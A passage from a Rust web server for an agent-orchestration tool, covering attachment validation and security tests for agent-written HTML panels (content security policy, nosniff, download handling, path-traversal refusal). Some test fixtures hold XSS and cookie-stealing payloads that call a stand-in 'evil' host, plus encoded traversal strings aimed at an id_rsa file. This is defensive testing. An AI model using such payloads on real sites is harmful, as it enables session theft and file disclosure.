7137 State(ui): State<Arc<Ui>>,
7138 Path((id, att)): Path<(String, String)>,
7139) -> ApiResult<Response> {
7140 blocking(move || {
7141 let id = resolve_talk(&ui.talks, &id)?;
7142 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7143 return Err(ApiError::not_found(format!(
7144 "talk {id} has no attachment `{att}`"
7145 )));
7146 };
7147 Ok(attachment_response(&meta.mime, data))
7148 })
7149 .await
7150}
7151
7152fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7163 if data.len() > ATTACHMENT_MAX_BYTES {
7164 return Err(ApiError::bad_request(format!(
7165 "attachment is {} bytes, over the {} MiB limit",
7166 data.len(),
7167 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7168 ))
7169 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7170 }
7171 if data.is_empty() {
7172 return Err(ApiError::bad_request("attachment is empty"));
7173 }
7174 let declared = declared_mime(headers)?;
7175 match sniffed_mime(data) {
7176 Some(sniffed) if sniffed == declared => Ok(declared),
7177 Some(sniffed) => Err(ApiError::bad_request(format!(
7178 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7179 ))),
7180 None => Err(ApiError::bad_request(
7181 "the file's bytes do not match any accepted image format",
7182 )),
7183 }
7184}
7185
7186fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7190 let raw = headers
7191 .get(header::CONTENT_TYPE)
7192 .and_then(|v| v.to_str().ok())
7193 .unwrap_or("")
7194 .split(';')
7195 .next()
7196 .unwrap_or("")
7197 .trim()
7198 .to_ascii_lowercase();
7199 ATTACHMENT_MIME_WHITELIST
7200 .iter()
7201 .find(|&&m| m == raw)
7202 .copied()
7203 .ok_or_else(|| {
7204 if raw == "image/svg+xml" {
7205 ApiError::bad_request(
7206 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7207 not just a picture",
7208 )
7209 } else if raw.is_empty() {
7210 ApiError::bad_request("Content-Type is required for an attachment upload")
7211 } else {
7212 ApiError::bad_request(format!(
7213 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7214 image/gif or image/webp"
7215 ))
7216 }
7217 })
7218}
7219
7220fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7223 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7224 Some("image/png")
7225 } else if data.starts_with(b"\xff\xd8\xff") {
7226 Some("image/jpeg")
7227 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7228 Some("image/gif")
7229 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7230 Some("image/webp")
7231 } else {
7232 None
7233 }
7234}
7235
7236fn filename_header(headers: &HeaderMap) -> String {
7242 headers
7243 .get(FILENAME_HEADER)
7244 .and_then(|v| v.to_str().ok())
7245 .map(str::trim)
7246 .filter(|s| !s.is_empty())
7247 .unwrap_or("attachment")
7248 .to_owned()
7249}
7250
7251fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7258 let content_type = ATTACHMENT_MIME_WHITELIST
7259 .iter()
7260 .find(|&&m| m == mime)
7261 .copied()
7262 .unwrap_or("application/octet-stream");
7263 (
7264 [
7265 (header::CONTENT_TYPE, content_type),
7266 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7267 ],
7268 body,
7269 )
7270 .into_response()
7271}
7272
7273async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7281 let repo = repo.to_path_buf();
7282 blocking(move || {
7283 let (cfg, _) = Config::discover(&repo, None)?;
7284 Ok(cfg)
7285 })
7286 .await
7287}
7288
7289fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7295 let mut hits = ids
7296 .into_iter()
7297 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7298 match (hits.next(), hits.next()) {
7299 (Some(one), None) => Ok(one),
7300 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7301 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7302 "`{prefix}` matches more than one {what}, including {a} and {b}"
7303 ))),
7304 }
7305}
7306
7307#[cfg(test)]
7308mod tests {
7309
7310 #[test]
7311 fn holder_reads_the_lease_not_the_record() {
7312 let mut q = Question::new(
7313 "run".to_owned(),
7314 "implement".to_owned(),
7315 "impl-A".to_owned(),
7316 "which?".to_owned(),
7317 String::new(),
7318 Vec::new(),
7319 );
7320 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7321 q.cwd = Some("/tmp".to_owned());
7322 assert_eq!(holder_of(&q, None), Some("nobody"));
7323 let beat = |kind, ago: i64| ask::Lease {
7324 kind,
7325 pid: 1,
7326 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7327 .unwrap(),
7328 };
7329 let fresh = beat(ask::WaiterKind::Asker, 1);
7330 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7331 let daemon = beat(ask::WaiterKind::Daemon, 1);
7332 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7333 let stale = beat(ask::WaiterKind::Asker, 3600);
7334 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7335
7336 let mut c = Question::new(
7339 "task".to_owned(),
7340 crate::conduct::NODE.to_owned(),
7341 "conduct".to_owned(),
7342 "which?".to_owned(),
7343 String::new(),
7344 Vec::new(),
7345 );
7346 assert_eq!(holder_of(&c, None), Some("nobody"));
7347 c.cwd = Some("/tmp".to_owned());
7348 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7349 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7350 let deputy = beat(ask::WaiterKind::Deputy, 1);
7351 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7352 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7353
7354 let mut r = Question::new(
7356 String::new(),
7357 crate::bump::NOTICE_NODE.to_owned(),
7358 "release-watch".to_owned(),
7359 "stuck?".to_owned(),
7360 String::new(),
7361 vec!["hold".to_owned()],
7362 );
7363 assert_eq!(holder_of(&r, None), Some("nobody"));
7364 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7365 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7366 r.deputy = None;
7368 r.seat = "bump".to_owned();
7369 assert_eq!(holder_of(&r, None), None);
7370
7371 let mut m = Question::new(
7374 "run".to_owned(),
7375 crate::land::APPROVAL_NODE.to_owned(),
7376 "land".to_owned(),
7377 "merge?".to_owned(),
7378 String::new(),
7379 Vec::new(),
7380 );
7381 assert_eq!(holder_of(&m, None), Some("nobody"));
7382 assert_eq!(
7383 holder_of(&m, Some(&fresh)),
7384 Some("nobody"),
7385 "a lease with no deputy is not a listener"
7386 );
7387 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7388 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7389 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7390 assert_eq!(holder_of(&m, None), Some("nobody"));
7391 }
7392
7393 fn stub_config() -> Config {
7394 Config {
7397 agents: vec![crate::config::AgentSpec {
7398 id: "stub".to_owned(),
7399 kind: AgentKind::Command,
7400 model: None,
7401 command: vec!["true".to_owned()],
7402 extra_args: Vec::new(),
7403 env: Default::default(),
7404 prompt_delivery: None,
7405 }],
7406 ..Config::default()
7407 }
7408 }
7409
7410 fn plain_question(seat: &str) -> Question {
7411 Question::new(
7412 String::new(),
7413 "n".to_owned(),
7414 seat.to_owned(),
7415 "s".to_owned(),
7416 String::new(),
7417 Vec::new(),
7418 )
7419 }
7420
7421 #[test]
7422 fn deputies_enabled_follows_the_config() {
7423 let on = stub_config();
7424 assert!(crate::deputy::can_start(Some(&on), ""));
7425 assert!(crate::deputy::can_start(Some(&on), "stub"));
7426 let mut off = on.clone();
7427 off.daemon.max_deputies = 0;
7428 assert!(!crate::deputy::can_start(Some(&off), ""));
7429 let mut empty = on;
7430 empty.agents.clear();
7431 assert!(!crate::deputy::can_start(Some(&empty), ""));
7432 assert!(!crate::deputy::can_start(None, ""));
7433 }
7434
7435 #[test]
7436 fn question_views_load_the_config_once() {
7437 let dir = TempDir::new().unwrap();
7438 let store = ask::Questions::at(dir.path().to_path_buf());
7439 let mut with_deputy = plain_question("b");
7440 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7441 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7442
7443 let calls = std::cell::Cell::new(0usize);
7444 let views = question_views(qs.clone(), &store, || {
7445 calls.set(calls.get() + 1);
7446 Some(stub_config())
7447 });
7448 assert_eq!(calls.get(), 1);
7449 assert_eq!(views.len(), 3);
7450 for (v, q) in views.iter().zip(&qs) {
7451 assert_eq!(
7452 v.deputies_enabled,
7453 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7454 );
7455 }
7456
7457 let views = question_views(qs, &store, || None);
7458 assert!(views.iter().all(|v| !v.deputies_enabled));
7459
7460 let calls = std::cell::Cell::new(0usize);
7461 let views = question_views(Vec::new(), &store, || {
7462 calls.set(calls.get() + 1);
7463 None
7464 });
7465 assert!(views.is_empty());
7466 assert_eq!(calls.get(), 0);
7467 }
7468
7469 use pretty_assertions::assert_eq;
7470 use serde_json::Value;
7471 use tempfile::TempDir;
7472 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7473
7474 use super::*;
7475 use crate::config::Config;
7476 use crate::queue::Source;
7477
7478 const SETTLE_STEPS: usize = 3_000;
7489
7490 struct Fixture {
7496 home: TempDir,
7497 addr: SocketAddr,
7498 }
7499
7500 impl Fixture {
7501 async fn start() -> Self {
7502 Self::with_loop(launch_idle).await
7503 }
7504
7505 async fn with_loop(launch: Launch) -> Self {
7507 let home = TempDir::new().expect("temp home");
7508 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7509 Self { home, addr }
7510 }
7511
7512 async fn with_repo(repo: PathBuf) -> Self {
7516 let home = TempDir::new().expect("temp home");
7517 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7518 Self { home, addr }
7519 }
7520
7521 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7524 let home = TempDir::new().expect("temp home");
7525 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7526 Self { home, addr }
7527 }
7528
7529 async fn serve(
7530 home: &FsPath,
7531 repo: PathBuf,
7532 launch: Launch,
7533 machine: Option<PathBuf>,
7534 ) -> SocketAddr {
7535 let queue = Queue::at(home.join("queue"));
7536 let runs = home.join("runs");
7537 std::fs::create_dir_all(&runs).expect("runs dir");
7538 let worktrees = home.join("wt").join("magi");
7539 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7540 let ui = Ui::new(
7541 queue,
7542 Questions::at(home.join("questions")),
7543 Talks::at(home.join("talks")),
7544 runs,
7545 home.to_path_buf(),
7546 repo,
7547 )
7548 .with_worktrees_root(worktrees)
7549 .with_machine_config(machine)
7550 .with_launch(launch);
7551 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7552 .await
7553 .expect("bind loopback");
7554 let addr = listener.local_addr().expect("local addr");
7555 tokio::spawn(async move {
7556 let _ = axum::serve(listener, ui.router()).await;
7557 });
7558 addr
7559 }
7560
7561 fn queue(&self) -> Queue {
7562 Queue::at(self.home.path().join("queue"))
7563 }
7564
7565 fn questions(&self) -> Questions {
7566 Questions::at(self.home.path().join("questions"))
7567 }
7568
7569 fn talks(&self) -> Talks {
7570 Talks::at(self.home.path().join("talks"))
7571 }
7572
7573 fn runs(&self) -> PathBuf {
7574 self.home.path().join("runs")
7575 }
7576
7577 async fn get(&self, path: &str) -> Res {
7578 request(self.addr, "GET", path, None).await
7579 }
7580
7581 async fn head(&self, path: &str) -> Res {
7586 request(self.addr, "HEAD", path, None).await
7587 }
7588
7589 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7590 request(self.addr, "POST", path, body).await
7591 }
7592
7593 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7594 request_with(self.addr, "GET", path, None, extra).await
7595 }
7596
7597 async fn delete(&self, path: &str) -> Res {
7598 request(self.addr, "DELETE", path, None).await
7599 }
7600
7601 async fn put(&self, path: &str, body: &str) -> Res {
7602 request(self.addr, "PUT", path, Some(body)).await
7603 }
7604
7605 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7607 request_bytes(self.addr, path, headers, body).await
7608 }
7609 }
7610
7611 struct Res {
7612 status: u16,
7613 headers: String,
7614 head: String,
7619 body: String,
7620 bytes: Vec<u8>,
7624 }
7625
7626 impl Res {
7627 fn json(&self) -> Value {
7628 serde_json::from_str(&self.body)
7629 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7630 }
7631
7632 fn header(&self, name: &str) -> Option<&str> {
7634 self.head.lines().find_map(|line| {
7635 let (key, value) = line.split_once(':')?;
7636 key.trim()
7637 .eq_ignore_ascii_case(name)
7638 .then(|| value.trim_start().trim_end_matches('\r'))
7639 })
7640 }
7641 }
7642
7643 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7646 request_with(addr, method, path, body, &[]).await
7647 }
7648
7649 async fn request_with(
7653 addr: SocketAddr,
7654 method: &str,
7655 path: &str,
7656 body: Option<&str>,
7657 extra: &[(&str, &str)],
7658 ) -> Res {
7659 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7660 for (name, value) in extra {
7661 head.push_str(&format!("{name}: {value}\r\n"));
7662 }
7663 if let Some(body) = body {
7664 head.push_str("Content-Type: application/json\r\n");
7665 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7666 }
7667 head.push_str("\r\n");
7668 if let Some(body) = body {
7669 head.push_str(body);
7670 }
7671 let mut socket = tokio::net::TcpStream::connect(addr)
7672 .await
7673 .expect("connect to the test server");
7674 socket
7675 .write_all(head.as_bytes())
7676 .await
7677 .expect("write request");
7678 let mut raw = Vec::new();
7679 socket.read_to_end(&mut raw).await.expect("read response");
7680 let split = raw
7683 .windows(4)
7684 .position(|w| w == b"\r\n\r\n")
7685 .expect("a header block");
7686 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7687 let bytes = raw[split + 4..].to_vec();
7688 let status = head
7689 .lines()
7690 .next()
7691 .and_then(|line| line.split_whitespace().nth(1))
7692 .and_then(|code| code.parse().ok())
7693 .expect("a status line");
7694 Res {
7695 status,
7696 headers: head.to_lowercase(),
7697 head,
7698 body: String::from_utf8_lossy(&bytes).into_owned(),
7699 bytes,
7700 }
7701 }
7702
7703 async fn request_bytes(
7709 addr: SocketAddr,
7710 path: &str,
7711 headers: &[(&str, &str)],
7712 body: &[u8],
7713 ) -> Res {
7714 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7715 for (name, value) in headers {
7716 head.push_str(&format!("{name}: {value}\r\n"));
7717 }
7718 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7719 let mut socket = tokio::net::TcpStream::connect(addr)
7720 .await
7721 .expect("connect to the test server");
7722 socket
7723 .write_all(head.as_bytes())
7724 .await
7725 .expect("write request head");
7726 socket.write_all(body).await.expect("write request body");
7727 let mut raw = Vec::new();
7728 socket.read_to_end(&mut raw).await.expect("read response");
7729 let split = raw
7730 .windows(4)
7731 .position(|w| w == b"\r\n\r\n")
7732 .expect("a header block");
7733 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7734 let bytes = raw[split + 4..].to_vec();
7735 let status = head
7736 .lines()
7737 .next()
7738 .and_then(|line| line.split_whitespace().nth(1))
7739 .and_then(|code| code.parse().ok())
7740 .expect("a status line");
7741 Res {
7742 status,
7743 headers: head.to_lowercase(),
7744 head,
7745 body: String::from_utf8_lossy(&bytes).into_owned(),
7746 bytes,
7747 }
7748 }
7749
7750 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7752 let mut state = RunState::new(
7753 PathBuf::from("/repo/magi"),
7754 "main".to_owned(),
7755 "0123456789abcdef".to_owned(),
7756 "Add a web UI\n\nMobile first.".to_owned(),
7757 Config::default(),
7758 );
7759 state.id = id.to_owned();
7760 state.status = status;
7761 let dir = runs.join(id);
7762 std::fs::create_dir_all(&dir).expect("run dir");
7763 std::fs::write(
7764 dir.join("run.json"),
7765 serde_json::to_string_pretty(&state).expect("serialize run"),
7766 )
7767 .expect("write run.json");
7768 }
7769
7770 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7774 let mut state = RunState::new(
7775 PathBuf::from(repo),
7776 "main".to_owned(),
7777 "0123456789abcdef".to_owned(),
7778 "task".to_owned(),
7779 Config::default(),
7780 );
7781 state.id = id.to_owned();
7782 state.status = status;
7783 let dir = runs.join(id);
7784 std::fs::create_dir_all(&dir).expect("run dir");
7785 std::fs::write(
7786 dir.join("run.json"),
7787 serde_json::to_string_pretty(&state).expect("serialize run"),
7788 )
7789 .expect("write run.json");
7790 }
7791
7792 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7793 let body = serde_json::json!({
7794 "schema": 1,
7795 "pid": 4242,
7796 "started_at": Timestamp::now().to_string(),
7797 "updated_at": updated_at.to_string(),
7798 "idle": false,
7799 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7800 "completed": 7,
7801 "polls": 143,
7802 });
7803 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7804 }
7805
7806 fn launch_idle(
7816 _opts: daemon::Opts,
7817 stop: daemon::Stop,
7818 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7819 Box::pin(async move {
7820 while !stop.stopped() {
7821 tokio::time::sleep(Duration::from_millis(2)).await;
7822 }
7823 Ok(())
7824 })
7825 }
7826
7827 fn launch_broken(
7830 _opts: daemon::Opts,
7831 _stop: daemon::Stop,
7832 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7833 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7838 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7839 Box::pin(async move {
7840 Err(anyhow::anyhow!(if first {
7841 "publish the daemon status file: read-only file system"
7842 } else {
7843 "the restarted stand-in failed as well"
7844 }))
7845 })
7846 }
7847
7848 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7855 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7856
7857 fn launch_knocking_on_the_way_out(
7864 _opts: daemon::Opts,
7865 stop: daemon::Stop,
7866 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7867 Box::pin(async move {
7868 while !stop.stopped() {
7869 tokio::time::sleep(Duration::from_millis(2)).await;
7870 }
7871 let addr = PARK_KNOCK
7872 .lock()
7873 .expect("park knock")
7874 .expect("the test set an address");
7875 let heard = request(addr, "GET", "/api/health", None).await.status;
7876 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7877 Ok(())
7878 })
7879 }
7880
7881 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7890 for _ in 0..SETTLE_STEPS {
7891 let view = fx.get("/api/loop").await.json();
7892 if want(&view) {
7893 return view;
7894 }
7895 tokio::time::sleep(Duration::from_millis(10)).await;
7896 }
7897 panic!(
7898 "the loop never settled: {}",
7899 fx.get("/api/loop").await.json()
7900 );
7901 }
7902
7903 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7905 let store = fx.questions();
7906 let mut q = Question::new(
7907 "20260902-000000-beef".to_owned(),
7908 "implement".to_owned(),
7909 "impl-A".to_owned(),
7910 summary.to_owned(),
7911 "because it matters".to_owned(),
7912 choices.iter().map(|c| (*c).to_owned()).collect(),
7913 );
7914 store.put(&mut q).expect("put question");
7915 q.id
7916 }
7917
7918 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7924 let store = fx.questions();
7925 let mut q = Question::new(
7926 "20260902-000000-beef".to_owned(),
7927 "land".to_owned(),
7928 "fix".to_owned(),
7929 "Merge this?".to_owned(),
7930 "the diff is in the panel".to_owned(),
7931 vec!["merge".to_owned(), "hold".to_owned()],
7932 );
7933 let staging = fx.home.path().join("staging");
7936 std::fs::create_dir_all(&staging).expect("staging dir");
7937 let sources: Vec<PathBuf> = assets
7938 .iter()
7939 .map(|(name, bytes)| {
7940 let path = staging.join(name);
7941 std::fs::write(&path, bytes).expect("write staged asset");
7942 path
7943 })
7944 .collect();
7945 store
7946 .put_panel(&mut q, html, &sources)
7947 .expect("write the panel");
7948 store.put(&mut q).expect("put question");
7949 q.id
7950 }
7951
7952 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7961 seed_talk_at(&fx.talks(), id, status)
7962 }
7963
7964 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7965 std::fs::create_dir_all(store.root()).expect("talks dir");
7966 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7967 .expect("serialize a seat");
7968 let body = serde_json::json!({
7969 "schema": 1,
7970 "id": id,
7971 "repo": "/repo/magi",
7972 "agent": "mock",
7973 "status": status,
7974 "turns": [],
7975 "created_at": Timestamp::now().to_string(),
7976 "updated_at": Timestamp::now().to_string(),
7977 "seat": seat,
7978 });
7979 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7980 store.get(id).expect("the seeded talk has to be readable");
7981 id.to_owned()
7982 }
7983
7984 #[tokio::test]
7985 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7986 let fx = Fixture::start().await;
7987 let id = panel(
7988 &fx,
7989 "<h1>Merge?</h1><img src=\"diff.svg\">",
7990 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7991 );
7992
7993 for path in [
7994 format!("/api/questions/{id}/panel"),
7995 format!("/api/questions/{id}/asset/diff.svg"),
7996 ] {
7997 let res = fx.get(&path).await;
7998 assert_eq!(res.status, 200, "{path}: {}", res.body);
7999 assert_eq!(
8005 res.header("content-security-policy"),
8006 Some(
8007 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8008 font-src data:; base-uri 'none'; form-action 'none'; \
8009 frame-ancestors 'self'"
8010 ),
8011 "{path} is the only thing between a hostile panel and the tailnet"
8012 );
8013 assert_eq!(
8014 res.header("x-content-type-options"),
8015 Some("nosniff"),
8016 "{path}: a browser must not re-decide the type we sent"
8017 );
8018 assert_eq!(
8019 res.header("referrer-policy"),
8020 Some("no-referrer"),
8021 "{path}: a panel must not leak the question id off the machine"
8022 );
8023
8024 let pre = fx.head(&path).await;
8029 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8030 assert_eq!(
8031 pre.header("content-security-policy"),
8032 res.header("content-security-policy"),
8033 "{path}: the preflight carries the same policy"
8034 );
8035 assert_eq!(
8036 pre.header("content-type"),
8037 res.header("content-type"),
8038 "{path}: the preflight carries the same type"
8039 );
8040 }
8041 }
8042
8043 #[tokio::test]
8044 async fn a_panel_reaches_the_browser_byte_for_byte() {
8045 let fx = Fixture::start().await;
8046 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8051 let id = panel(&fx, html, &[]);
8052
8053 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8054
8055 assert_eq!(res.status, 200);
8056 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8057 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8058 assert_eq!(
8059 res.header("content-disposition"),
8060 None,
8061 "the panel itself is rendered in the frame, not downloaded"
8062 );
8063 }
8064
8065 #[tokio::test]
8066 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8067 let fx = Fixture::start().await;
8068 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8069 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8070 let id = panel(
8071 &fx,
8072 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8073 &[("diff.svg", svg), ("shot.png", png)],
8074 );
8075
8076 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8077 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8078
8079 assert_eq!(as_svg.status, 200);
8080 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8081 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8086
8087 assert_eq!(as_png.status, 200);
8088 assert_eq!(as_png.header("content-type"), Some("image/png"));
8089 assert_eq!(
8090 as_png.header("content-disposition"),
8091 None,
8092 "a raster image has no execution surface, so tapping it still shows it"
8093 );
8094 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8095 }
8096
8097 #[tokio::test]
8098 async fn an_html_asset_is_never_served_as_html() {
8099 let fx = Fixture::start().await;
8100 let id = panel(
8101 &fx,
8102 "<p>see the notes</p>",
8103 &[
8104 (
8105 "notes.html",
8106 b"<script>fetch('http://evil/'+document.cookie)</script>",
8107 ),
8108 ("hook.js", b"fetch('http://evil/')"),
8109 ("data.json", b"{}"),
8110 ("HEADLINE.TXT", b"plain"),
8111 ],
8112 );
8113
8114 for name in ["notes.html", "hook.js", "data.json"] {
8115 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8116 assert_eq!(res.status, 200, "{name}: {}", res.body);
8117 assert_eq!(
8122 res.header("content-type"),
8123 Some("application/octet-stream"),
8124 "{name} must not be a type the browser will execute or render"
8125 );
8126 }
8127 let txt = fx
8130 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8131 .await;
8132 assert_eq!(
8133 txt.header("content-type"),
8134 Some("text/plain; charset=utf-8")
8135 );
8136 }
8137
8138 #[tokio::test]
8139 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8140 let fx = Fixture::start().await;
8141 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8142 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8146
8147 for encoded in [
8154 "%2e%2e%2fid_rsa",
8155 "..%2fid_rsa",
8156 "..%5cid_rsa",
8157 "%2e%2e%5cid_rsa",
8158 "diff%00.svg",
8159 "..",
8160 ".hidden",
8161 "%2e%2e%2f%2e%2e%2fid_rsa",
8162 ] {
8163 let res = fx
8164 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8165 .await;
8166 assert_eq!(
8167 res.status, 400,
8168 "`{encoded}` has to be refused by name, not looked up: {}",
8169 res.body
8170 );
8171 assert!(res.json()["error"].is_string(), "{}", res.body);
8172 }
8173
8174 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8180 let res = fx
8181 .get(&format!("/api/questions/{id}/asset/{literal}"))
8182 .await;
8183 assert_eq!(
8184 res.status, 404,
8185 "`{literal}` must not match the asset route at all: {}",
8186 res.body
8187 );
8188 }
8189 }
8190
8191 #[tokio::test]
8192 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8193 let fx = Fixture::start().await;
8194 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8195 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8196
8197 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8201 assert_eq!(none.status, 404, "{}", none.body);
8202 assert!(none.json()["error"].is_string(), "{}", none.body);
8203 assert_eq!(
8204 fx.head(&format!("/api/questions/{plain}/panel"))
8205 .await
8206 .status,
8207 404,
8208 "the preflight is the only way the client can learn this"
8209 );
8210
8211 let missing = fx
8213 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8214 .await;
8215 assert_eq!(missing.status, 404, "{}", missing.body);
8216 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8217
8218 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8220 assert_eq!(
8221 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8222 404
8223 );
8224 }
8225
8226 #[tokio::test]
8227 async fn a_run_with_an_open_question_reads_as_waiting() {
8228 let fx = Fixture::start().await;
8229 let run = "20260902-000000-beef".to_owned();
8230 write_run(&fx.runs(), &run, RunStatus::Implementing);
8231
8232 let before = fx.get("/api/runs").await.json();
8233 assert_eq!(before[0]["waiting"], false, "{before}");
8234
8235 let store = fx.questions();
8236 let mut q = Question::new(
8237 run.clone(),
8238 "implement".to_owned(),
8239 "impl-A".to_owned(),
8240 "Which backend?".to_owned(),
8241 String::new(),
8242 vec!["SQLite".to_owned()],
8243 );
8244 store.put(&mut q).expect("put");
8245
8246 let during = fx.get("/api/runs").await.json();
8247 assert_eq!(during[0]["waiting"], true, "{during}");
8248
8249 q.answer(Answer::Choice("SQLite".to_owned()))
8252 .expect("answer");
8253 store.put(&mut q).expect("put");
8254 let after = fx.get("/api/runs").await.json();
8255 assert_eq!(after[0]["waiting"], false, "{after}");
8256 }
8257
8258 #[tokio::test]
8259 async fn an_open_question_is_listed_and_counted_by_health() {
8260 let fx = Fixture::start().await;
8261 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8262
8263 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8264 let listed = fx.get("/api/questions").await.json();
8265 assert_eq!(listed.as_array().expect("array").len(), 1);
8266 assert_eq!(listed[0]["id"], id);
8267 assert_eq!(listed[0]["status"], "open");
8268 assert_eq!(listed[0]["choices"][1], "Redis");
8269 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8272 }
8273
8274 #[tokio::test]
8275 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8276 let fx = Fixture::start().await;
